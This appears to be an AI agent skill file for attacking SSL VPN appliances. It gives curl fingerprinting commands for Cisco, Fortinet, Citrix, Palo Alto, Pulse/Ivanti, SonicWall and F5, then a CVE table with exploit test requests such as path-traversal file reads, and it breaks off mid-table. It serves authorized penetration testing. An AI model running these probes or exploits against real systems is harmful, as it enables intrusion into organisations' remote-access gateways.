Enterprise Vpn Attack

---
name: enterprise-vpn-attack
description: External SSL VPN / remote-access appliance attack matrix 
category: Security & Systems
source: antigravity
tags: [python, node, api, claude, ai, template, document, security, rag, cro]
url: https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/enterprise-vpn-attack
---

> **⚠️ AUTHORIZED USE ONLY**
> This skill is for educational purposes or authorized security assessments only.
> You must have explicit, written permission from the system owner before using this tool.
> Misuse of this tool is illegal and strictly prohibited.

> **Mandatory confirmation gate**
> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:
> 1. Ask the user to state the exact target URL, IP, account, or resource.
> 2. Ask the user to confirm written authorization and the permitted scope.
> 3. Show the exact command(s) and explain their expected effect.
> 4. Wait for explicit confirmation in the current conversation.
>
> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.

## When to use this skill

Trigger when recon surfaces:
- `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
- `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains
- Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
- TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
- HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)

DO NOT use for:
- Internal lateral-movement post-foothold (out of scope per user's boundary)
- VPN client-side bugs (different attack class)
- IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

## Vendor identification (fingerprinting)

### Cisco ASA / AnyConnect
```bash
curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"
```
ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

```bash
# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint
```

### Fortinet FortiGate / FortiOS
```bash
curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"
```
Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response

### Citrix NetScaler / ADC / Gateway
```bash
curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era
```

### Palo Alto GlobalProtect
```bash
curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
```

### Pulse Secure / Ivanti Connect Secure
```bash
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
```

### SonicWall NetExtender / SMA
```bash
curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
```

### F5 Big-IP / APM
```bash
curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)
```

---

## CVE matrix — pre-auth or auth-bypass (2018-2026)

### Cisco ASA / AnyConnect

| CVE | Affects | Type | Test |
|---|---|---|---|
| **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` |
| **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations |
| **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` |
| **CVE-2024-20481** | RAVPN |